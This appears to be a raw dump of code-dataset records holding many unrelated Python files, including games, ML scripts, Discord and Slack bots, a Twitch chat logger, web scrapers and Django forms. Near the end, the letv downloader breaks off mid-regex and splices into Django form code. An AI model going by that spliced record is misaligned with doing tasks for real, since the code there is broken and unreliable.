points\n\n\ndef keep_playing() -> None:\n \"\"\"Do you want to continue playing the game?\"\"\"\n global continue_playing \n question1: int = int(input(\"Do you want to continue playing the game? 1 = Yes and 2 = No: \"))\n if question1 == 1:\n main()\n else:\n continue_playing = False\n print(\"Goodbye. \")\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"projects/cyoa.py","file_name":"cyoa.py","file_ext":"py","file_size_in_byte":4071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"481761672","text":"import tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport matplotlib.pyplot as plt\n #from google.colab import files\nfrom keras.preprocessing import image\nfrom PIL import Image\nimport cv2\nimport warnings\nwarnings.filterwarnings('ignore')\n\n(train_images,train_labels),(test_images,test_labels) = keras.datasets.mnist.load_data()\n\ntrain_images = train_images.reshape(len(train_images),28,28,1) # (60,000,784)\ntest_images = test_images.reshape(len(test_images),28,28,1)\n\nmodel = keras.models.Sequential([\n keras.layers.Conv2D(64,(3,3),activation='relu',input_shape=(28,28,1)),\n keras.layers.MaxPool2D(2,2),\n keras.layers.Flatten(),\n keras.layers.Dense(28,activation='relu'),\n keras.layers.Dense(10,activation='softmax')\n ])\n\nprint(model.summary())\n\nmodel.compile(optimizer='adam',metrics=['acc'],loss='sparse_categorical_crossentropy')\n\nmodel.fit(train_images,train_labels,epochs=10,batch_size=32, validation_split=0.1)\n\nmodel.evaluate(test_images,test_labels)\n\ndef predict_img(path):\n img = image.load_img(path)\n x = image.img_to_array(img)\n x = cv2.cvtColor(x, cv2.COLOR_BGR2GRAY) #converting from rbg image to grayscale\n plt.imshow(x,cmap='gray')\n plt.show()\n x = cv2.resize(np.array(x), (28, 28)) #resizing it to 28x28\n x = x.reshape(28,28,1) #Reshaping it to fit in our model\n x = np.expand_dims(x, axis=0)\n class_label = model.predict(x) #predicting\n print('Predicted Value is:',np.where(class_label[0]==max(class_label[0]))[0])\n\npredict_img(r'C:\\\\Users\\\\Yash\\\\Desktop\\\\KTH\\\\Sem1-p2-AI\\\\ProjectNn\\\\Digits\\\\2.png')\n#\n","sub_path":"SomeWhatWorks.py","file_name":"SomeWhatWorks.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"581704908","text":"\n\n#calss header\nclass _HIVE():\n\tdef __init__(self,): \n\t\tself.name = \"HIVE\"\n\t\tself.definitions = [u'a structure where bees live, especially a beehive (= container like a box) or the group of bees living there', u\"a condition in which a person's skin develops red raised areas: \"]\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_hive.py","file_name":"_hive.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"68538609","text":"# /usr/bin/python\n# -*- coding:utf-8 -*-\nfrom script.assert_util import AssertUtil\nimport json\n\nclass BaseBusiness(object):\n def __init__(self):\n pass\n\n def init_params(self, local_vars_copy):\n '''\n 请求参数,自动赋值\n :param local_vars_copy:\n :return: 处理后的请求参数\n '''\n if 'self' in local_vars_copy:\n local_vars_copy.pop('self')\n\n param_dict = local_vars_copy.copy()\n header_dict = {}\n file_dict = {}\n for key in local_vars_copy:\n if local_vars_copy[key] is None:\n param_dict.pop(key)\n continue\n if key.__contains__(\"__py_debug_temp\"):\n param_dict.pop(key)\n if key.startswith('header_'):\n param_dict.pop(key)\n header_key = key.split('_')[1]\n header_dict[header_key] = local_vars_copy[key]\n elif key.startswith('file_'):\n param_dict.pop(key)\n file_key = key.split('_')[1]\n file_dict[file_key] = local_vars_copy[key]\n elif key.startswith('param_'):\n param_dict.pop(key)\n param_key = key.split('_')[1]\n param_dict[param_key] = local_vars_copy[key]\n\n return (header_dict, param_dict, file_dict,)\n\n def init_response(self, local_vars_copy, instance, func_name, if_assert=1,\n assert_str='{\"code\":0, \"message\":\"成功\"}', msg=''):\n '''\n 请求参数自动赋值，返回接口返回值，支持断言\n :param local_vars_copy:请求接口的参数\n :param instance:接口所在的实例\n :param func_name:接口名称\n :param if_assert:是否做断言\n :param assert_str:断言需要的值（字典）\n :param msg:若断言失败，需要输出的提示\n :return:返回接口的返回值\n '''\n header_dict, param_dict, file_dict = self.init_params(local_vars_copy)\n try:\n param_dict.pop(\"if_assert\")\n param_dict.pop(\"assert_str\")\n param_dict.pop(\"msg\")\n except:\n pass\n response = getattr(instance, func_name)(param_dict=param_dict, header_dict=header_dict)\n if if_assert:\n if isinstance(assert_str, str):\n assert_str = json.loads(assert_str)\n AssertUtil.assert_key_value_in_list(assert_str, response, msg=msg+str(response))\n return response\n\n\n\n\n","sub_path":"mobike-api-test/lib/business/base_business.py","file_name":"base_business.py","file_ext":"py","file_size_in_byte":2511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"368441872","text":"import os\nimport logging\nimport bot\n\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\n\ndef main():\n if 'SLACK_BOT_TOKEN' not in os.environ:\n logger.debug('SLACK_BOT_TOKEN not found in environment')\n raise EnvironmentError('SLACK_BOT_TOKEN not found in environment')\n\n slackbot_token = os.environ['SLACK_BOT_TOKEN']\n bot_instance = bot.Bot(slackbot_token)\n bot_instance.connect_and_listen()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"slackbot/prathamam/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"285991877","text":"# Discord.py is smoooooooooooooosh!!!!!\nimport discord\nfrom discord.ext import tasks, commands\nimport asyncio\n\nimport os # .env読み込みスターズ。\nimport json\n\nclass Thread(commands.Cog):\n def __init__(self, airlinia):\n self.bot = airlinia #botを受け取る。\n\n @commands.Cog.listener()\n async def on_reaction_add(self, reaction, user):\n if reaction.message.channel.category_id == 668142017175617546 or reaction.message.channel.category_id == 668374572080562177:\n if reaction.emoji.id == 665462194116493313:\n members = [reaction.message.author, user]\n channel = await self._channel_create(reaction.message.channel.category, members, 'Thread')\n embed_1 = discord.Embed(title='チャンネル作成しました。',\n description=f'{channel.mention}\\rスレッドを作成しました。',\n color=0x0080ff)\n await reaction.message.channel.send(embed=embed_1, content=f'{user.mention}、{reaction.message.author.mention}')\n\n embed_2 = discord.Embed(description=f'{reaction.message.content}',\n color=0x0080ff)\n embed_2.set_footer(text='国際空創国家連合', icon_url='https://cdn.discordapp.com/attachments/658699920039215114/670817582034714635/b16b12b993469c42.gif')\n embed_2.set_author(name=user.display_name, icon_url=user.avatar_url)\n embed_2.set_thumbnail(url=reaction.message.author.avatar_url)\n if len(reaction.message.attachments) > 0:\n embed_2.set_image(url=reaction.message.attachments[0].url)\n await channel.send(embed=embed_2, content=f'{user.mention}、{reaction.message.author.mention}')\n\n async def _channel_create(self, category, members, name):\n overwrites = {\n self.bot.user:\n discord.PermissionOverwrite.from_pair(discord.Permissions.all(), discord.Permissions.none()),\n category.guild.default_role:\n discord.PermissionOverwrite.from_pair(discord.Permissions.none(), discord.Permissions.all()),\n members[0]:\n discord.PermissionOverwrite.from_pair(discord.Permissions(66448721), discord.Permissions.none()),\n members[1]:\n discord.PermissionOverwrite.from_pair(discord.Permissions(66448721), discord.Permissions.none()),\n category.guild.get_role(655254335030034442): #閲覧できる役職\n discord.PermissionOverwrite.from_pair(\n discord.Permissions(37080128), discord.Permissions(2 ** 53 - 37080129)),\n }\n channel = await category.create_text_channel(name, overwrites=overwrites)\n return channel\n\ndef setup(airlinia):\n airlinia.add_cog(Thread(airlinia))\n","sub_path":"airlinia_cogs/thread.py","file_name":"thread.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"111487542","text":"'''\nGiven a sorted list, remove the duplicates in place, return modified list and #unique values. \n\nExample: \nA = [1,1,2] should return length = 2, and A is now [1,2].\n'''\n\n'''\nNOTES\n1. Since the list is sorted, you need to store the last value\n2. If can either start from start or end\n3. Keep track of #items, #unique items\n4. Pop #items - #unique items times!\n'''\n\n#Solution 1: Inefficient with space\n#Start from the end\ndef RemoveDuplicates(input):\n length = len(input)-1\n distinctCount = length+1 #default length\n seen = None #last value seen\n while(length >= 0):\n #First time!\n if (seen is None):\n seen = input[length]\n #Distinct\n elif(input[length] < seen):\n seen = input[length]\n #Duplicate\n else:\n input.pop(length) #Inefficient, since there can be duplicates in the middle\n distinctCount -= 1\n length -= 1\n return(input,distinctCount)\n\n#Solution 2:\n#Iterate list once, have all the duplicated values at the end (ending at certain index)\n#pop #items - #unique items times!\n\ninput = [1,2,3,3,4,5,7]\nprint(\"input >>>\", input)\nresult,count = RemoveDuplicates(input)\nprint(\"modified list without duplicates >>>\", result)\nprint(\"#distinct values=\",count)\n","sub_path":"sorted-list-remove-duplicates.py","file_name":"sorted-list-remove-duplicates.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"508303709","text":"import os\nimport sys\nimport time\nfrom datetime import datetime\nimport socket\nimport irc_bot\nimport configparser\n\nfrom pysrt import SubRipFile\nfrom pysrt import SubRipItem\nfrom pysrt import SubRipTime\n\ndef iso8601_utc_now():\n\treturn datetime.utcnow().isoformat(sep='T') + \"Z\"\n\ndef make_offset_str(offset_hours):\n\toffset_hours = int(offset_hours)\n\tif offset_hours == 0:\n\t\treturn \"Z\"\n\tif offset_hours > 0:\n\t\tsign = \"+\"\n\telse:\n\t\tsign = \"-\"\n\toffset_str = str(abs(offset_hours))\n\tif len(offset_str) < 2:\n\t\toffset_str = \"0\" + offset_str\n\treturn sign + offset_str + \":00\"\n\ndef iso8601_local_now():\n\treturn datetime.now().isoformat(sep='T') + make_offset_str(utc_offset_hours)\n\ndef parse_chat_server(chat_server):\n\treturn chat_server.replace(' ', '').split(':')\n\ndef ensure_dir(dir_path):\n if not os.path.exists(dir_path):\n print(\"creating directory \" + dir_path)\n os.makedirs(dir_path)\n\ndef log_add(path, content):\n\twith open(path, mode='a', encoding='utf-8') as log_file:\n\t\tlog_file.write(content)\n\ndef safe_print(content):\n\ttry:\n\t\tprint(content)\n\texcept UnicodeEncodeError:\n\t\tprint(content.encode('utf-8'))\n\ndef get_timestamp(ts_format):\n\tif ts_format == 0:\n\t\treturn str(time.time())[:15]\n\telif ts_format == 2:\n\t\treturn iso8601_local_now()\n\telse:\n\t\treturn iso8601_utc_now()\n\nif(len(sys.argv) != 3):\n print(__file__ + ' channel server_type')\n sys.exit(0)\n\ncurrent_directory = os.path.dirname(os.path.abspath(__file__))\nconfig_path = current_directory + \"/config.txt\"\nif os.path.isfile(config_path):\n\tconfig = configparser.ConfigParser()\n\tconfig.read(config_path)\n\tusername = config.get('Settings', 'username').replace(' ', '').lower()\n\toauth = config.get('Settings', 'oauth')\n\trecord_raw = config.getboolean('Settings', 'record_raw')\n\ttimestamp_format = config.getint('Settings', 'timestamp_format')\n\ttwitchclient_version = config.getint('Settings', 'twitchclient_version')\n\tregular_chat_server = config.get('Settings', 'regular_chat_server')\n\tgroup_chat_server = config.get('Settings', 'group_chat_server')\n\tevent_chat_server = config.get('Settings', 'event_chat_server')\nelse:\n\tprint(\"config.txt not found\", file=sys.stderr)\n\tsys.exit(0)\n\nts = time.time()\nutc_offset_hours = int(int((datetime.fromtimestamp(ts) - datetime.utcfromtimestamp(ts)).total_seconds()) / 3600)\n\nserver_dict = {'r':parse_chat_server(regular_chat_server), 'g':parse_chat_server(group_chat_server), 'e':parse_chat_server(event_chat_server)}\nchat_channel = sys.argv[1]\nchat_server = server_dict[sys.argv[2].lower()]\n\nensure_dir(current_directory + '/comment_log')\nif record_raw:\n\tensure_dir(current_directory + '/comment_log_raw')\n\nraw_log_path = current_directory + '/comment_log_raw/' + chat_channel + '.txt'\nlog_path = current_directory + '/comment_log/' + chat_channel + '.txt'\n\nsrt_log_path = current_directory + '/comment_log/' + chat_channel + '.srt'\n\nbot = irc_bot.irc_bot(username, oauth, chat_channel, chat_server[0], chat_server[1], twitchclient_version = twitchclient_version)\n\noutsrt = SubRipFile()\n\ntext = ''\n\nwhile 1:\n\traw_msg_list = bot.get_message()\n\tif len(raw_msg_list) > 0:\n\t\tif len(text) > 0:\n\t\t\tend = SubRipTime.from_time(datetime.now())\n\t\t\titem = SubRipItem(0, start, end, text)\n\t\t\toutsrt.append(item)\n\t\tstart = SubRipTime.from_time(datetime.now())\n\t\ttext = ''\n\t\ttimestamp = get_timestamp(timestamp_format)\n\t\tfor item in raw_msg_list:\n\t\t\tif record_raw:\n\t\t\t\tlog_add(raw_log_path, timestamp + ' ' + item + '\\n')\n\t\t\tusername, message = irc_bot.parse_user(item)\n\t\t\tif username != '':\n\t\t\t\tsafe_print(chat_channel + \" \" + username + \": \" + message)\n\t\t\t\tlog_add(log_path, timestamp + ' ' + username + ': ' + message + '\\n')\n\t\t\t\ttext += username + \": \" + message + '\\n'\n\t\t\t\toutsrt.clean_indexes()\n\t\t\t\toutsrt.save(srt_log_path, encoding='utf-8')\n\n\n","sub_path":"comment_logger_srt.py","file_name":"comment_logger_srt.py","file_ext":"py","file_size_in_byte":3751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"161190043","text":"# Developer: marcioz98\n\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\n\n\ndef main(url):\n\tbrowser = webdriver.PhantomJS()\n\tbrowser.get(url)\n\n\tsoup = BeautifulSoup(browser.page_source, \"html.parser\")\n\n\tbrowser.quit()\n\n\tfilms = soup.find_all('div', {'class' : 'FilmItem film'})\n\n\toutput = \"\"\n\n\tfor film in films:\n\t\tfilm_block = film.prettify()\n\t\tsoup = BeautifulSoup(film_block, \"html.parser\")\n\t\ttitles = soup.find_all('h5')\n\t\thours = soup.find_all('span', {'class' : 'mid'})\n\t\tfor title in titles:\n\t\t\toutput += title.text\n\t\tfor hour in hours:\n\t\t\toutput += hour.text\n\n\treturn output\n\n\n","sub_path":"tpscraper.py","file_name":"tpscraper.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"643509388","text":"MUJOCO_ENVS = ['ant', 'hopper', 'halfcheetah', 'humanoid', 'pusher', 'reacher', 'striker', 'swimmer', 'thrower', 'walker']\n\nCHECKPOINT_DICT = {\n 'enduro': (3100, 3650, 4450, 50),\n 'montezumarevenge': (0, 0, 0, 0),\n 'seaquest': (10, 65, 70, 5),\n #'hero': (300, 1500, 2400, 50),\n 'other': (50, 600, 1450, 50)\n}\n\ndef get_env_id_type(env_name):\n env_type = \"atari\"\n\n if env_name == \"spaceinvaders\":\n env_id = \"SpaceInvadersNoFrameskip-v4\"\n elif env_name == \"mspacman\":\n env_id = \"MsPacmanNoFrameskip-v4\"\n elif env_name == \"montezumarevenge\":\n env_id = \"MontezumaRevengeNoFrameskip-v4\"\n elif env_name == \"videopinball\":\n env_id = \"VideoPinballNoFrameskip-v4\"\n elif env_name == \"beamrider\":\n env_id = \"BeamRiderNoFrameskip-v4\"\n elif env_name == \"halfcheetah\":\n env_id = \"HalfCheetah-v2\"\n env_type = 'mujoco'\n elif env_name in MUJOCO_ENVS:\n env_id = env_name[0].upper() + env_name[1:] + \"-v2\"\n env_type = 'mujoco'\n else:\n env_id = env_name[0].upper() + env_name[1:] + \"NoFrameskip-v4\"\n\n return env_id, env_type\n\n\ndef get_checkpoint_range(env_name, demo=True):\n if demo:\n _min, _max, _step = get_checkpoints_demos(env_name)\n else:\n _min, _max, _step = get_checkpoints_extrapolate(env_name)\n\n return range(_min, _max + _step, _step)\n\n\ndef get_checkpoints_demos(env_name):\n _min, _max, _, _step = CHECKPOINT_DICT['other']\n for key in CHECKPOINT_DICT.keys():\n if env_name in key:\n _min, _max, _, _step = CHECKPOINT_DICT[key]\n break\n\n return _min, _max, _step\n\n\ndef get_checkpoints_extrapolate(env_name):\n _, _min, _max, _step = CHECKPOINT_DICT['other']\n for key in CHECKPOINT_DICT.keys():\n if env_name in key:\n _, _min, _max, _step = CHECKPOINT_DICT[key]\n break\n\n return _min, _max, _step\n","sub_path":"atari/utils/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"229770855","text":"from options.train_options import TrainOptions\nfrom data.dataloader import MSDSurfTrainDataset\n\nopts = TrainOptions().parse()\ndataset = MSDSurfTrainDataset(opts)\nimport torch\nimport numpy as np\n\n\ndef collate_fn(batch):\n \"\"\"Creates mini-batch tensors\n We should build custom collate_fn rather than using default collate_fn\n \"\"\"\n meta = {}\n keys = batch[0].keys()\n for key in keys:\n meta.update({key: np.array([d[key] for d in batch])})\n return meta\n\n\ndataloader = torch.utils.data.DataLoader(dataset,\n batch_size=2,\n shuffle=False,\n num_workers=2,\n collate_fn=collate_fn)\nfor i, data in enumerate(dataloader):\n if i == 0:\n break\nprint(data['img_patch'].shape)\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"18702154","text":"from __future__ import absolute_import\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import PatchCollection\nfrom matplotlib.offsetbox import OffsetImage, AnnotationBbox\nfrom matplotlib.patches import Polygon, Ellipse\n\n#TODO: add a simple swarmplot implementation\n__all__ = [\n 'gradient_line', 'irregular_contour',\n 'voronoi_filled', 'pca_ellipse', 'embedded_images', 'jitterplot'\n]\n\n\ndef gradient_line(xs, ys, colormap_name='jet', ax=None):\n '''Plot a 2-d line with a gradient representing ordering.\n See http://stackoverflow.com/q/8500700/10601 for details.'''\n if ax is None:\n ax = plt.gca()\n cm = plt.get_cmap(colormap_name)\n npts = len(xs)-1\n colors = cm(np.linspace(0, 1, num=npts))\n if hasattr(ax, 'set_prop_cycle'):\n ax.set_prop_cycle(color=colors)\n else:\n ax.set_color_cycle(colors)\n for i in range(npts):\n ax.plot(xs[i:i+2],ys[i:i+2])\n return plt.show\n\n\ndef irregular_contour(x, y, z, func=plt.contourf, func_kwargs=dict(),\n grid_size=(100,100), padding_fraction=0.05,\n interp_method='nearest'):\n '''Handles interpolating irregular data to a grid,\n and plots it using the given func [default: contourf]\n See http://wiki.scipy.org/Cookbook/Matplotlib/Gridding_irregularly_spaced_data\n '''\n from scipy.interpolate import griddata # Late import; scipy is optional\n x, y, z = map(np.asanyarray, (x, y, z))\n x_range = (x.min(), x.max())\n y_range = (y.min(), y.max())\n pad_x = padding_fraction * -np.subtract.reduce(x_range)\n pad_y = padding_fraction * -np.subtract.reduce(y_range)\n grid_x = np.linspace(x_range[0] - pad_x, x_range[1] + pad_x, grid_size[0])\n grid_y = np.linspace(y_range[0] - pad_y, y_range[1] + pad_y, grid_size[1])\n grid_z = griddata((x, y), z, (grid_x[None], grid_y[:,None]),\n method=interp_method)\n return func(grid_x, grid_y, grid_z, **func_kwargs)\n\n\ndef voronoi_filled(points_or_voronoi, colors, show_points=False,\n padding_fraction=0.05, cmap=None, ax=None, alpha=None,\n edgecolor=None):\n '''Plots a filled voronoi diagram, using the given points and their colors.\n The first parameter must be an array-like or a scipy.stats.Voronoi object.\n '''\n from scipy.spatial import Voronoi # Late import; scipy is optional\n\n # Disambiguate the first parameter\n if isinstance(points_or_voronoi, Voronoi):\n vor = points_or_voronoi\n else:\n points = np.asanyarray(points_or_voronoi)\n assert points.shape[1] == 2, 'Input points must be 2D'\n vor = Voronoi(points)\n\n # Borrowed from http://nbviewer.ipython.org/gist/pv/8037100\n regions = []\n vertices = vor.vertices.tolist()\n\n center = vor.points.mean(axis=0)\n radius = vor.points.ptp().max()*2\n\n # Construct a map containing all ridges for a given point\n all_ridges = {}\n for (p1, p2), (v1, v2) in zip(vor.ridge_points, vor.ridge_vertices):\n all_ridges.setdefault(p1, []).append((p2, v1, v2))\n all_ridges.setdefault(p2, []).append((p1, v1, v2))\n\n # Reconstruct infinite regions\n for p1, region in enumerate(vor.point_region):\n verts = vor.regions[region]\n if all(v >= 0 for v in verts):\n # finite region\n regions.append(verts)\n continue\n\n # reconstruct a non-finite region\n ridges = all_ridges[p1]\n new_region = [v for v in verts if v >= 0]\n\n for p2, v1, v2 in ridges:\n if v2 < 0:\n v1, v2 = v2, v1\n if v1 >= 0:\n # finite ridge: already in the region\n continue\n\n # Compute the missing endpoint of an infinite ridge\n t = vor.points[p2] - vor.points[p1] # tangent\n t /= np.linalg.norm(t)\n n = np.array([-t[1], t[0]]) # normal\n\n midpoint = vor.points[[p1, p2]].mean(axis=0)\n direction = np.sign((midpoint - center).dot(n)) * n\n far_point = vor.vertices[v2] + direction * radius\n\n new_region.append(len(vertices))\n vertices.append(far_point.tolist())\n\n # sort region counterclockwise\n vs = np.asarray([vertices[v] for v in new_region])\n vs -= vs.mean(axis=0)\n angle_order = np.argsort(np.arctan2(vs[:,1], vs[:,0]))\n new_region = np.array(new_region)[angle_order]\n\n # finish\n regions.append(new_region)\n vertices = np.asarray(vertices)\n\n # Plot colored polygons\n if ax is None:\n ax = plt.gca()\n polys = PatchCollection([Polygon(vertices[region]) for region in regions],\n cmap=cmap, alpha=alpha, edgecolor=edgecolor)\n polys.set_array(np.asanyarray(colors))\n ax.add_collection(polys)\n\n if show_points:\n ax.plot(vor.points[:,0], vor.points[:,1], 'ko')\n\n # Zoom to a reasonable scale.\n pad = padding_fraction * (vor.max_bound - vor.min_bound)\n mins = vor.min_bound - pad\n maxes = vor.max_bound + pad\n ax.set_xlim(mins[0], maxes[0])\n ax.set_ylim(mins[1], maxes[1])\n return polys\n\n\ndef pca_ellipse(data, loc=None, ax=None, **ellipse_kwargs):\n '''Finds the 2d PCA ellipse of given data and plots it.\n loc: center of the ellipse [default: mean of the data]\n '''\n from sklearn.decomposition import PCA # Late import; sklearn is optional\n pca = PCA(n_components=2).fit(data)\n if loc is None:\n loc = pca.mean_\n if ax is None:\n ax = plt.gca()\n cov = pca.explained_variance_ * pca.components_.T\n u,s,v = np.linalg.svd(cov)\n width,height = 2*np.sqrt(s[:2])\n angle = np.rad2deg(np.arctan2(u[1,0], u[0,0]))\n ell = Ellipse(xy=loc, width=width, height=height, angle=angle,\n **ellipse_kwargs)\n ax.add_patch(ell)\n return ell\n\n\ndef embedded_images(X, images, exclusion_radius=None, ax=None, cmap=None,\n zoom=1, seed=None, frameon=False):\n '''Plots a subset of images on an axis. Useful for visualizing image\n embeddings, especially when plotted over a scatterplot. Selects random points\n to annotate with their corresponding image, respecting an exclusion_radius\n around each selected point.'''\n assert X.shape[0] == images.shape[0], 'Unequal number of points and images'\n assert X.shape[1] == 2, 'X must be 2d'\n if ax is None:\n ax = plt.gca()\n if exclusion_radius is None:\n # TODO: make a smarter default based on image size and axis limits\n exclusion_radius = 1.\n if seed is not None:\n np.random.seed(seed)\n while X.shape[0] > 0:\n i = np.random.choice(X.shape[0])\n im = OffsetImage(images[i], zoom=zoom, cmap=cmap)\n ab = AnnotationBbox(im, X[i], xycoords='data', frameon=frameon)\n ax.add_artist(ab)\n dist = np.sqrt(np.square(X[i] - X).sum(axis=1))\n mask = (dist > exclusion_radius).ravel()\n X = X[mask]\n images = images[mask]\n return plt.show\n\n\ndef jitterplot(data, positions=None, ax=None, vert=True, scale=0.1,\n **scatter_kwargs):\n '''Plots jittered points as a distribution visualizer.\n\n Scatter plot arguments default to: marker='.', c='k', alpha=0.75\n Also known as a stripplot.\n See also: boxplot, violinplot, beeswarm\n '''\n if ax is None:\n ax = plt.gca()\n if positions is None:\n positions = range(len(data))\n\n kwargs = dict(marker='.', c='k', alpha=0.75)\n kwargs.update(scatter_kwargs)\n\n for pos, y in zip(positions, data):\n if scale > 0:\n x = np.random.normal(loc=pos, scale=scale, size=len(y))\n else:\n x = np.zeros_like(y) + pos\n if not vert:\n x, y = y, x\n ax.scatter(x, y, **kwargs)\n return plt.show\n","sub_path":"viztricks/extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":7293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"31308504","text":"import sys\nsys.stdin = open('17298_오큰수.txt', 'rt')\n\n\nN = int(input())\nA = list(map(int, input().split()))\nstack = []\nNGE = [-1]*N\nfor i in range(N):\n while stack and A[stack[-1]] < A[i]:\n NGE[stack.pop()] = A[i]\n stack.append(i)\nprint(*NGE)","sub_path":"BaekJoon/단계별로 풀어보기/스택/17298_오큰수.py","file_name":"17298_오큰수.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"55266860","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.core.validators\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('adm', '0109_auto_20161031_1053'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='ot_linea',\n name='codigo',\n field=models.CharField(default=0, max_length=14, verbose_name=b'Codigo', validators=[django.core.validators.RegexValidator(b'^\\\\d{14}$')]),\n preserve_default=False,\n ),\n ]\n","sub_path":"adm/migrations/0110_ot_linea_codigo.py","file_name":"0110_ot_linea_codigo.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"647852944","text":"#!/usr/bin/env python\n\n__all__ = ['letv_download']\n\nfrom common import *\nimport re, base64, json\n\n#http://www.letv.com/ptv/pplay/5938/1.html\n\ndef get_title(s1):\n #get title\n p1 = r'<\\s*title\\s*>\\s*(.*?)\\s*<\\s*/\\s*title\\s*>'\n o1 = re.search(p1,s1,re.I|re.S)\n assert(o1)\n title = o1.group(1)\n suffix = ' - \\xe5\\x9c\\xa8\\xe7\\xba\\xbf\\xe8\\xa7\\x82\\xe7\\x9c\\x8b - \\xe4\\xb9\\x90\\xe8\\xa7\\x86\\xe7\\xbd\\x91'\n pos = o1.group(1).rfind(suffix)\n if -1 != pos:\n title = title[:pos]\n return title.decode('utf-8') #return unicode\n \ndef letv_download(url):\n s1 = get_html(url)\n p1 = r''']*?id=.?j-videoplay.*?\"\"\"\n\n\nclass CustomerField(Select):\n template_name = 'jobs/customer_select.html'\n\n\nclass CustomSelect(Select):\n template_name = 'jobs/bootstrap_select.html'\n\n\nclass JobCreateForm2(forms.ModelForm):\n class Meta:\n model = Job\n fields = '__all__'\n\nclass JobCreateForm(forms.ModelForm):\n TIMELIST = (\n (1, \"0:30\"),\n (2, \"1:00\"),\n (3, \"1:30\"),\n (4, \"2:00\"),\n (5, \"2:30\"),\n (6, \"3:00\"),\n (7, \"3:30\"),\n (8, \"4:00\"),\n (9, \"4:30\"),\n (10, \"5:00\"),\n (11, \"5:30\"),\n (12, \"6:00\"),\n (13, \"6:30\"),\n (14, \"7:00\"),\n (15, \"7:30\"),\n (16, \"8:00\"),\n )\n year = forms.CharField(required=False, label=\"Vehicle Year\", widget=forms.Select(attrs={'id': 'ajYears', 'class': 'form-control'}))\n make = forms.CharField(required=False, label=\"Vehicle Make\",\n widget=forms.Select(attrs={'id': 'ajMakes', 'disabled': 'disabled', 'class': 'form-control'}))\n model = forms.CharField(required=False, label=\"Vehicle Model\",\n widget=forms.Select(attrs={'id': 'ajModels', 'disabled': 'disabled', 'class': 'form-control'}))\n style = forms.CharField(required=False, label=\"Vehicle Style\",\n widget=forms.Select(attrs={'id': 'ajStyles', 'disabled': 'disabled', 'class': 'form-control'}))\n duration = forms.ChoiceField(required=True, label=\"Job Duration\", choices=TIMELIST, widget=forms.Select(attrs={'class': 'form-control'}))\n\n\n class Meta:\n model = Job\n fields = [\n 'customer',\n 'year',\n 'make',\n 'model',\n 'style',\n 'type',\n 'description',\n 'address',\n 'city',\n 'state',\n 'zip',\n 'duration',\n ]\n exclude = ['salesperson']\n widgets = {\n 'type': forms.Select(attrs={'class': 'form-control'}),\n 'description': forms.Textarea({'class': 'form-control'}),\n 'customer': CustomerField(attrs={'data-toggle': 'tooltip',\n 'title': mark_safe('Select Customer'),\n 'class': 'form-control'}),\n 'address': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Address'}),\n 'city': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'City'}),\n 'state': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'State'}),\n 'zip': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Zip Code'}),\n }\n\n def save(self, commit=True):\n event = Event.objects.create(duration=self.cleaned_data.get('duration'), title=self.cleaned_data.get('customer'))\n job = super(JobCreateForm, self).save(commit=False)\n job.event = event\n if commit:\n job.save()\n return job\n\n\nclass JobUpdateForm(forms.ModelForm):\n TIMELIST = (\n (1, \"0:30\"),\n (2, \"1:00\"),\n (3, \"1:30\"),\n (4, \"2:00\"),\n (5, \"2:30\"),\n (6, \"3:00\"),\n (7, \"3:30\"),\n (8, \"4:00\"),\n (9, \"4:30\"),\n (10, \"5:00\"),\n (11, \"5:30\"),\n (12, \"6:00\"),\n (13, \"6:30\"),\n (14, \"7:00\"),\n (15, \"7:30\"),\n (16, \"8:00\"),\n )\n year = forms.CharField(required=False, label=\"Vehicle Year\",\n 